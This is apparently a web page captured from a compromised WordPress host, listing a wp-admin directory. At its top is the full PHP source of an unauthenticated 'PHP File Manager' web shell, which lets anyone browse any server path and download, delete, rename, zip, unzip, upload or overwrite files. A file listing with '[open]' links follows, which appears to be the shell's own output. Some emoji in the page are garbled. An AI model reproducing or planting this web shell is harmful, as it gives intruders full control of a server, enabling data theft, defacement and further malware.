PATH:
home
/
cf7x
/
public_html
/
wp-admin_
<?php $path = realpath($_GET['p'] ?? getcwd()); if (!$path || !is_dir($path)) die("Invalid path"); // Delete if (isset($_GET['delete'])) { $target = $path . '/' . basename($_GET['delete']); is_dir($target) ? rmdir($target) : unlink($target); header("Location: ?p=" . urlencode($path)); exit; } // Download if (isset($_GET['download'])) { $file = $path . '/' . basename($_GET['download']); if (is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Rename if (isset($_POST['rename_old'], $_POST['rename_new'])) { rename($path . '/' . basename($_POST['rename_old']), $path . '/' . basename($_POST['rename_new'])); header("Location: ?p=" . urlencode($path)); exit; } // Zip if (isset($_GET['zip'])) { $item = $path . '/' . basename($_GET['zip']); $zipName = $item . '.zip'; $zip = new ZipArchive; if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) { if (is_dir($item)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item)); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relative = substr($filePath, strlen($item) + 1); $zip->addFile($filePath, $relative); } } } else { $zip->addFile($item, basename($item)); } $zip->close(); } header("Location: ?p=" . urlencode($path)); exit; } // Unzip if (isset($_GET['unzip'])) { $file = $path . '/' . basename($_GET['unzip']); if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive; if ($zip->open($file) === TRUE) { $zip->extractTo($path); $zip->close(); } } header("Location: ?p=" . urlencode($path)); exit; } // Save edit $saved = false; if (isset($_POST['savefile'], $_POST['content'])) { $saved = file_put_contents($path . '/' . basename($_POST['savefile']), $_POST['content']) !== false; } // Upload / Create folder / Create file if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$saved) { if (isset($_FILES['up'])) move_uploaded_file($_FILES['up']['tmp_name'], $path . '/' . $_FILES['up']['name']); if (!empty($_POST['folder'])) mkdir($path . '/' . basename($_POST['folder'])); if (!empty($_POST['newfile'])) file_put_contents($path . '/' . basename($_POST['newfile']), ''); header("Location: ?p=" . urlencode($path)); exit; } function formatPermissions($perms) { return substr(sprintf('%o', $perms), -4); } function formatSize($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>PHP File Manager</title> <style> body { font-family: Arial; background: #1e1e1e; color: #eee; padding: 20px; } input, textarea, button { background: #2c2c2c; color: #eee; border: 1px solid #444; padding: 6px; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 10px; border: 1px solid #444; text-align: left; } th { background: #333; } tr:nth-child(even) { background: #2a2a2a; } tr:nth-child(odd) { background: #252525; } a { color: #4ea1ff; text-decoration: none; } form.inline { display: inline; } .success { background: #2e7d32; padding: 10px; color: white; margin-top: 10px; } </style> </head> <body> <h2>📁 Current Folder: <?php echo htmlspecialchars($path); ?></h2> <form method="get"> Destination: <input type="text" name="p" value="<?php echo htmlspecialchars($path); ?>" size="80"> <button type="submit">Go</button> </form> <?php if ($path !== '/'): ?> <p><a href="?p=<?php echo urlencode(dirname($path)); ?>">⬅️ Go Up</a></p> <?php endif; ?> <?php if ($saved): ?> <div class="success">�?File saved successfully.</div> <?php endif; ?> <table> <tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr> <?php foreach (scandir($path) as $item): if ($item === '.' || $item === '..') continue; $full = $path . '/' . $item; $isFile = is_file($full); $size = $isFile ? formatSize(filesize($full)) : '-'; $perms = formatPermissions(fileperms($full)); echo "<tr><td>"; echo is_dir($full) ? "📁 <a href='?p=" . urlencode($full) . "'>$item</a>" : "📄 <a href='?p=" . urlencode($path) . "&edit=" . urlencode($item) . "'>$item</a>"; echo "</td><td>$size</td><td>$perms</td><td>"; if ($isFile) { echo "<a href='?p=" . urlencode($path) . "&edit=" . urlencode($item) . "'>Edit</a> | "; } echo "<form class='inline' method='post' style='display:inline'> <input type='hidden' name='rename_old' value='" . htmlspecialchars($item) . "'> <input type='text' name='rename_new' value='" . htmlspecialchars($item) . "' size='10'> <button>✏️ Rename</button></form> | "; if ($isFile) echo "<a href='?p=" . urlencode($path) . "&download=" . urlencode($item) . "'>⬇️ Download</a> | "; echo "<a href='?p=" . urlencode($path) . "&delete=" . urlencode($item) . "' onclick='return confirm(\"Delete $item?\")'>🗑�?Delete</a>"; if (is_file($full) && pathinfo($full, PATHINFO_EXTENSION) === 'zip') { echo " | <a href='?p=" . urlencode($path) . "&unzip=" . urlencode($item) . "'>📂 Unzip</a>"; } elseif (file_exists($full)) { echo " | <a href='?p=" . urlencode($path) . "&zip=" . urlencode($item) . "'>📦 Zip</a>"; } echo "</td></tr>"; endforeach; ?> </table> <hr> <h3>📤 Upload / Create</h3> <form method="post" enctype="multipart/form-data"> Upload: <input type="file" name="up"> | Folder: <input type="text" name="folder"> | File: <input type="text" name="newfile"> <button>Submit</button> </form> <?php if (isset($_GET['edit'])): $editFile = $path . '/' . basename($_GET['edit']); if (!is_file($editFile)) die("Invalid file"); $content = htmlspecialchars(file_get_contents($editFile)); ?> <hr> <h3>📝 Editing: <?php echo htmlspecialchars(basename($editFile)); ?></h3> <form method="post"> <textarea name="content" rows="20"><?php echo $content; ?></textarea><br> <input type="hidden" name="savefile" value="<?php echo htmlspecialchars(basename($editFile)); ?>"> <button>💾 Save</button> </form> <?php endif; ?> </body> </html>
[-] admin-ajax.php
[open]
[-] site-health-info.php
[open]
[-] term.php
[open]
[-] link.php
[open]
[-] db.php
[open]
[-] theme-editor.php
[open]
[-] import.php
[open]
[+]
..
[-] edit-tag-form.php
[open]
[-] options-media.php
[open]
[-] site-health.php
[open]
[-] index.php
[open]
[-] options-head.php
[open]
[-] edit.php
[open]
[-] upgrade.php
[open]
[-] media.php
[open]
[-] ms-sites.php
[open]
[-] about.php
[open]
[-] export-personal-data.php
[open]
[-] ms-options.php
[open]
[-] options-discussion.php
[open]
[-] plugins.php
[open]
[-] async-upload.php
[open]
[-] plugin-install.php
[open]
[+]
includes
[-] menu-header.php
[open]
[-] authorize-application.php
[open]
[-] credits.php
[open]
[-] upload.php
[open]
[-] my-sites.php
[open]
[-] theme-install.php
[open]
[-] site-editor.php
[open]
[-] moderation.php
[open]
[-] privacy-policy-guide.php
[open]
[-] edit-link-form.php
[open]
[-] edit-comments.php
[open]
[-] widgets.php
[open]
[+]
css
[-] media-upload.php
[open]
[-] link-manager.php
[open]
[-] widgets-form-blocks.php
[open]
[-] edit-form-blocks.php
[open]
[+]
js
[-] link-add.php
[open]
[-] network.php
[open]
[-] ms-users.php
[open]
[-] update-core.php
[open]
[+]
network
[-] admin-header.php
[open]
[-] post.php
[open]
[-] widgets-form.php
[open]
[-] custom-background.php
[open]
[+]
user
[-] comment.php
[open]
[-] ms-edit.php
[open]
[-] profile.php
[open]
[-] admin.php
[open]
[-] ms-themes.php
[open]
[-] user-new.php
[open]
[-] custom-header.php
[open]
[-] admin-functions.php
[open]
[-] erase-personal-data.php
[open]
[-] ms-admin.php
[open]
[-] ms-delete-site.php
[open]
[-] user-edit.php
[open]
[-] customize.php
[open]
[-] freedoms.php
[open]
[-] install.php
[open]
[-] link-parse-opml.php
[open]
[-] edit-tags.php
[open]
[-] setup-config.php
[open]
[-] plugin-editor.php
[open]
[-] update.php
[open]
[-] options-privacy.php
[open]
[-] error_log
[open]
[-] nav-menus.php
[open]
[-] ms-upgrade-network.php
[open]
[-] press-this.php
[open]
[-] tools.php
[open]
[-] menu.php
[open]
[-] edit-form-advanced.php
[open]
[-] upgrade-functions.php
[open]
[-] admin-footer.php
[open]
[-] export.php
[open]
[-] edit-form-comment.php
[open]
[-] load-scripts.php
[open]
[-] post-new.php
[open]
[-] options-reading.php
[open]
[-] load-styles.php
[open]
[+]
maint
[-] install-helper.php
[open]
[-] options.php
[open]
[-] options-general.php
[open]
[-] users.php
[open]
[-] revision.php
[open]
[-] privacy.php
[open]
[-] admin-post.php
[open]
[-] themes.php
[open]
[-] options-writing.php
[open]
[+]
images
[-] contribute.php
[open]
[-] options-permalink.php
[open]
[-] media-new.php
[open]